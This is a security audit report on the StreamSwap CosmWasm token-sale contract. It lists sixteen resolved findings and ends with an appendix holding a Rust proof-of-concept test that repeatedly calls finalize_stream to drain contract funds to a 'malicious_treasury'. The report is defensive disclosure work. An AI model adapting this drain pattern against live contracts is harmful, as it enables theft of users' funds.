Audit Report

Streamswap

v1.1

March 16, 2023

Table of Contents

License

Disclaimer

This audit has been performed by

Oak Security

https://oaksecurity.io/
info@oaksecurity.io

Introduction

Purpose of This Report

Oak Security has been engaged by Osmosis Grants Company to perform a security audit of StreamSwap.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following GitHub repository:

https://github.com/orkunkl/cw-streamswap

Commit hash: `d8cb26c3569a19d8c6931e12c9aabb74380262fb`

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line by line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
    a. Race condition analysis
    b. Under-/overflow issues
    c. Key management vulnerabilities
4. Report preparation

Functionality Overview

Streamswap is a contract that facilitates a token sale. The mechanism allows anyone to create a new sale event and sell any amount of tokens in a democratic way.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

The status of an issue can be one of the following: **Pending,** **Acknowledged**, or **Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Medium	-
Code readability and clarity	Medium-High	-
Level of documentation	Medium-High	-
Test coverage	Medium-High	91.88% coverage, `634/690` lines covered.

Summary of Findings

No	Description	Severity	Status
1	Lack of stream status validation can be exploited to drain contract funds	Critical	Resolved
2	Stream status not saved after update allows contract funds being drained	Critical	Resolved
3	Updating `stream_creation_fee` or `stream_creation_denom` will cause ongoing streams to error when finalized or canceled	Major	Resolved
4	Lack of configuration parameter validation	Minor	Resolved
5	Exit fee percent validation differs from documentation	Minor	Resolved
6	Stream creation parameters lack validation	Minor	Resolved
7	Stream actions performed at stream's end time may introduce unintended consequences	Minor	Resolved
8	Lack of best effort validation on Stream name and URL	Informational	Resolved
9	Unspent tokens could be locked in the contract upon exit	Informational	Resolved
10	Lack of "action" along executed message's event attributes	Informational	Resolved
11	Optimization possible on multiple code paths	Informational	Resolved
12	Custom access controls implementation	Informational	Resolved
13	Misleading error messages	Informational	Resolved
14	Overflow checks not enabled for release profile	Informational	Resolved
15	Additional funds sent to the contract are lost	Informational	Resolved
16	"Migrate only if newer" pattern not followed	Informational	Resolved

Detailed Findings

1. Lack of stream status validation can be exploited to drain contract funds

Severity: Critical

The `streamswap` contract's `finalize_stream` function does not validate that the current stream's status is not `Status::Finalized`.

An attacker could exploit this by repeatedly calling the `finalize_stream` function to trigger `Bankmsg::Send` messages using the stream's treasury as the beneficiary. This results in transfers of both the creation denom and `creators_revenue`, drainting the contract's funds.

A proof of concept test case can be found in the test case Faulty stream state validation lead to draining of funds in the appendix.

Recommendation

We recommend returning an error if the stream is in the `Status::Finalized` state at the beginning of the `finalize_stream` function.

Status: Resolved

2. Stream status not saved after update allows contract funds being drained

Severity: Critical

The `streamswap` contract's `finalize_stream` function does save the new stream status after updating it in `src/contract.rs:618-620`. Consequently, the status will remain the same when calling the `finalize_stream` function again.

Similarly to the issue Lack of stream state validation lead to draining of funds, this can be exploited by repeatedly calling `finalize_stream` to trigger `Bankmsg::Send` messages, which drains the contract's funds.

The same proof of concept test case Faulty stream state validation lead to draining of funds in the appendix applies here.

Recommendation

We recommend saving the new stream status to the storage after updating it.

Status: Resolved

3. Updating `stream_creation_fee` or `stream_creation_denom` will cause ongoing streams to error when finalized or canceled

Severity: Major

In the `execute_finalize_stream` and `sudo_cancel_stream` functions, the `BankMsg` is constructed with `config.stream_creation_fee` and `config.stream_creation_denom`. Both `config` values are only checked during stream creation, and any changes to these values after creation will impact streams that have not been finalized. This can cause inconsistent states and errors if the contract does not hold a sufficient balance or the right denom to pay the fees.

For example, suppose there are two non-finalized streams and the value of `config.stream_creation_fee` is increased. Now the first stream to finalize would spend a larger amount on fees than was contributed during the stream creation. This will result in the first stream's balance being too low to finalize the second stream.

The functions in `src/contract.rs:645` and `src/killswitch.rs:272` send a `BankMsg` using `config.stream_creation_fee` and `config.stream_creation_denom`.

Recommendation

We recommend disallowing config updates when there are ongoing streams. Instead, each stream should store the fee denom and value to be paid later on.

Status: Resolved

4. Lack of configuration parameter validation

Severity: Minor

The `streamswap` contract does not validate several configuration parameters upon instantiation in `src/contract.rs:32-45` and in the `sudo_update_config` function in lines `794-803`.

The following parameters should be carefully reviewed:

- `stream_creation_denom`: Incorrect casing of the denom could block stream creation as it will fail to match.
- `stream_creation_fee`: If set to zero, it will render the mechanism ineffective and may allow spamming/griefing.
- `exit_fee_percent`: If set to a value greater than one, line `630` will underflow and streams can never be finalized.
- `accepted_in_denom`: Incorrect casing of the denom could block stream creation as it will fail to match.

In addition, it should be noted that `protocol_admin` is not updatable. This could cause operational issues if the account gets compromised or the organization requires a change.

Although some of the consequences outlined above could have a major impact on users, privileged functions are operated by informed users which are less prone to errors. Therefore, we classify this issue as minor.

Recommendation

We recommend enforcing thorough validation to the affected parameters. Additionally, a two-step ownership transfer mechanism should be implemented for `protocol_admin`.

Status: Resolved

5. Exit fee percent validation differs from documentation

Severity: Minor

The `streamwap` contract included the following comment about `exit_fee_percent` validation in `src/contract.rs:31`: “exit fee percent can not be higher than 1 and must be greater than 0”. Instead, the implementation allows the value to be less than one and greater than or equal to zero.

Recommendation

We recommend modifying the implementation so it adheres to the documentation.

Status: Resolved

6. Stream creation parameters lack validation

Severity: Minor

The creation of a `stream` in `src/contract.rs:188` is lacking validation, which may lead to unintended consequences for stream creators.

Firstly, there should be a validation to ensure that `out_denom` is not the same as `in_denom`.

Secondly, `out_supply` should be validated to ensure it is not `0`. While fund amount cannot be `0` in Cosmos SDK messages, if `out_denom == config.stream_creation_denom` the amount of `out_supply` specified in line `164` could be 0 and still pass the validation.

Recommendation

We recommend validating these parameters before creating a new stream in `src/contract.rs:188`.

Status: Resolved

7. Stream actions performed at stream's end time may introduce unintended consequences

Severity: Minor

The `streamswap` contract allows for the following messages to be executed at the stream's `end_time`:

- `ExecuteMsg::Subscribe`,
- `ExecuteMsg::Withdraw`,
- `ExecuteMsg::ExitStream`, and
- `ExecuteMsg::PauseStream`.

This is problematic since it can lead to inconsistent states.

For example, in the current implementation, a caller can subscribe at the `end_time` blocktime. This could introduce a scenario similar to the one described in the Unspent tokens could be locked in the contract upon exit finding.

Although no clear exploitation path have been identified, the current implementation is error-prone.

Recommendation

We recommend implementing a more granular approach to the actions that could be performed at `end_time`. We suggest only allowing `ExecuteMsg::FinalizeStream` and `ExecuteMsg::ExitStream` at and after `end_time`.

Status: Resolved

8. Lack of best-effort validation on stream name and URL

Severity: Informational

The `streamswap` contract does not perform any validation on the `name` and `url` fields of newly created streams in `src/contract.rs:189` and `190`.

Although this does not have direct security related implications, these fields could be used to orchestrate phishing campaigns against unsuspecting users. Also, the `name` field could be deliberately set by an attacker to confuse users, for example by setting it as an empty or very lengthy string.

Recommendation

We recommend enforcing a maximum and minimum length on the `name` field. Additional validation to limit potential phishing schemes or web2 attacks against the DApp's frontend is also recommended. As a baseline for this, the approach followed by Astroport [1] could be suitable to Streamswap. Valid URL domains should be limited, for example to just IPFS and Commonwealth posts as detailed in the contract's documentation.

[1] https://github.com/astroport-fi/astroport-governance/blob/main/packages/astroport-governance/src/assembly.rs#L362-L393

Status: Resolved

9. Unspent tokens could be locked in the contract upon exit

Severity: Informational

The documentation on the `execute_exit_stream` function reads that it should "withdraw purchased tokens to his account, and claim unspent tokens". However, the implementation only withdraws the user's purchased tokens but does not check for and claim any unspent tokens.

The potential impact could be considered to be major or even critical, given that a user's tokens could get locked forever in the contract, but no scenario was found where the `in_token` amount could be greater than zero when exiting a stream. We have raised this issue as informational as, although not having found a clear exploitation path, potential edge cases may arise with future updates to the contract.

Recommendation

We recommend reviewing the functionality and either update the documentation to reflect the expected behavior or to cover the edge case where unspent tokens are still in the contract.

Status: Resolved

10. Lack of “action” along executed message’s event attributes

Severity: Informational

The `streamswap` contract is lacking additional event attributes labeled as `action` on some of its entry points’ responses. The functions in the following lines were affected:

- `src/contract.rs:59`
- `src/killswitch.rs:167`, `201`, `235`, and `278`

Although not a security issue, some off-chain components may rely on this kind of information being broadcasted upon successful execution of a contract’s message handler.

Recommendation

We recommend adding an additional event attribute that includes the executed action.

Status: Resolved

11. Optimization possible on multiple code paths

Severity: Informational

The `streamswap` contract currently contains minor inefficiencies. While none of these issues pose a security concern, they should be addressed to further optimize the codebase. For example, when a user attempts to withdraw an amount of zero.

The following functionalities can be reviewed for inefficient code paths:

- In `src/contract.rs:266-273`, the updates on `out_remaining` and `dist_index` could be included in the if statement inline `276`, as both will be left unchanged when the `new_distribute_balance` is zero.
- In `src/contract.rs:295`, it is inefficient to include the case where the `numerator` is zero.
- In `src/contract.rs:499-501`, the code never executes, as line `497` already uses `info.sender` to load the position. Therefore, `position.owner` will always be equal to `info.sender`.
- In `src/contract.rs:554`, it is inefficient to raise an error if `withdraw_amount` is equal to zero.
- In `src/killswitch.rs:46`, it is inefficient to raise an error if `withdraw_amount` is equal to zero.
- In `src/killswitch.rs:256`, the assignment is redundant as the variable was already updated and saved to storage in lines `256-254`.

Recommendation

We recommend reviewing the above cases to short circuit the execution as soon as possible. Either raising an error to save gas costs or returning the foreseeable result.

Status: Resolved

12. Custom access controls implementation

Severity: Informational

The `streamswap` contract implements custom access controls. Although no instances of broken controls or bypasses have been found, using a single assert function to validate controls reduces potential risks while improving the codebase's readability and maintainability.

Recommendation

We recommend using modular functions to implement any access control check that has to be used multiple times.

Status: Resolved

13. Misleading error messages

Severity: Informational

The `streamswap` contract includes several custom errors in `src/error.rs:38`, `44`, `77`, and `104` that raise misleading or non-meaningful information to the user.

In addition, the `NoFundsSent` custom error raised in `src/contract.rs:184` is not descriptive of the actual situation.

Recommendation

We recommend refining the error messages in `src/error.rs`, for example:

- Line `38`: "Required denom not found in funds"
- Line `44`: "Supplied funds do not match out_supply"
- Line `77`: "Creation fee amount do not match the supplied funds"
- Line `104`: "Stream is either paused or canceled"

We also recommend raising the `ContractError::StreamCreationFeeRequired` custom error in `contract.rs:184`.

Status: Resolved

14. Overflow checks not enabled for release profile

Severity: Informational

`contracts/pf-dca/Cargo.toml` does not enable `overflow-checks` for the release profile.

While enabled implicitly through the workspace manifest, a future refactoring might break this assumption.

Recommendation

We recommend enabling overflow checks in all packages, including those that do not currently perform calculations, to prevent unintended consequences if changes are added in future releases or during refactoring. Note that enabling overflow checks in packages other than the workspace manifest will lead to compiler warnings.

Status: Resolved

15. Additional funds sent to the contract are lost

Severity: Informational

In `src/contract.rs:160-187`, during stream creation, checks are performed that ensure that the transaction includes two `Coins` with the expected `out_denom` and `stream_creation_denom` field (one `Coin` with `stream_creation_denom` field if both `out_denom` and `stream_creation_denom` are the same).

This validation does not ensure that no other native tokens are sent though, and any additional native tokens are not returned to the user, so they will be stuck in the contract forever.

While blockchains generally do not protect users from sending funds to wrong accounts, reverting extra funds increases the user experience.

Recommendation

We recommend checking that the transaction contains only the expected `Coin` using a function similar to https://docs.rs/cw-utils/latest/cw_utils/fn.must_pay.html.

Status: Resolved

16. “Migrate only if newer” pattern not followed

Severity: Informational

The contracts within scope of this audit are currently migrated without regard to their version. This can be improved by adding validation to ensure that the migration is only performed if the supplied version is newer.

Recommendation

It is recommended to follow the migrate “only if newer” pattern defined in the CosmWasm documentation.

Status: Resolved

Appendix: test cases

Faulty stream state validation lead to draining of funds

```
#[test]
    fn issue_finalize_stream() {
        let malicious_treasury = Addr::unchecked("treasury");
        let start = Timestamp::from_seconds(10);
        let end = Timestamp::from_seconds(110);
        let out_supply = Uint128::new(1000);
        let out_denom = "myToken";
        let in_denom = "uosmo";

        // instantiate
        let mut deps = mock_dependencies();
        let mut env = mock_env();
        env.block.time = Timestamp::from_seconds(0);
        let msg = crate::msg::InstantiateMsg {
            min_stream_seconds: Uint64::new(100),
            min_seconds_until_start_time: Uint64::new(0),
            stream_creation_denom: "fee".to_string(),
            stream_creation_fee: Uint128::new(100),
            exit_fee_percent: Decimal::percent(1),
            fee_collector: "collector".to_string(),
            protocol_admin: "protocol_admin".to_string(),
            accepted_in_denom: in_denom.to_string(),
        };
        instantiate(deps.as_mut(), mock_env(), mock_info("creator", &[]),
msg).unwrap();

        // Create stream
        let mut env = mock_env();
        env.block.time = Timestamp::from_seconds(0);
        let info = mock_info(
            malicious_treasury.as_str(),
            &[
                Coin::new(out_supply.u128(), out_denom),
                Coin::new(100, "fee"),
            ],
        );
        execute_create_stream(
            deps.as_mut(),
            env,
            info,
            malicious_treasury.to_string(),
```

```
            "test".to_string(),
            "test".to_string(),
            in_denom.to_string(),
            out_denom.to_string(),
            out_supply,
            start,
            end,
        )
        .unwrap();

        // First subscription
        let mut env = mock_env();
        env.block.time = start.plus_seconds(1);
        let funds = Coin::new(200, in_denom.to_string());
        let info = mock_info("user1", &[funds]);
        execute_subscribe(deps.as_mut(), env, info, 1, None, None).unwrap();

        // Update
        let mut env = mock_env();
        env.block.time = end.plus_seconds(1);
        let info = mock_info(malicious_treasury.as_str(), &[]);
        execute_update_stream(deps.as_mut(), env.clone(), 1).unwrap();

        // First call
        println!("> Legitimate call");
        let res = execute_finalize_stream(deps.as_mut(), env.clone(),
info.clone(), 1, None).unwrap();
        assert_eq!(
            res.messages,
            vec![
                SubMsg::new(BankMsg::Send {
                    to_address: malicious_treasury.to_string(),
                    amount: vec![Coin {
                        denom: in_denom.to_string(),
                        amount: Uint128::new(198),
                    }],
                }),
                SubMsg::new(BankMsg::Send {
                    to_address: "collector".to_string(),
                    amount: vec![Coin {
                        denom: "fee".to_string(),
                        amount: Uint128::new(100),
                    }],
                }),
                SubMsg::new(BankMsg::Send {
                    to_address: "collector".to_string(),
                    amount: vec![Coin {
                        denom: in_denom.to_string(),
                        amount: Uint128::new(2),
                    }],
```

```
                }),
            ],
        );

        let stream = query_stream(deps.as_ref(), env.clone(), 1).unwrap();
        assert_ne!(stream.status, Status::Finalized);// This is an issue

        // Sequential calls, anyone could force this sequential calls
        let mut stolen = 0;
        for i in 1..10 { // Could iterate until draining the whole balance
            println!("> Additional call");
            let res = execute_finalize_stream(deps.as_mut(), env.clone(),
info.clone(), 1, None).unwrap();
            assert_eq!(
                res.messages,
                vec![
                    SubMsg::new(BankMsg::Send {
                        to_address: malicious_treasury.to_string(),
                        amount: vec![Coin {
                            denom: in_denom.to_string(),
                            amount: Uint128::new(198),
                        }],
                    }),
                    SubMsg::new(BankMsg::Send {
                        to_address: "collector".to_string(),
                        amount: vec![Coin {
                            denom: "fee".to_string(),
                            amount: Uint128::new(100),
                        }],
                    }),
                    SubMsg::new(BankMsg::Send {
                        to_address: "collector".to_string(),
                        amount: vec![Coin {
                            denom: in_denom.to_string(),
                            amount: Uint128::new(2),
                        }],
                    }),
                ],
            );
            stolen += res.attributes.iter()
                .find(|x| x.key == "creators_revenue")
                .unwrap().value
                .parse::<i32>().unwrap();
            println!("    >> Amount stolen after {i} iterations {stolen}");
        }
    }
```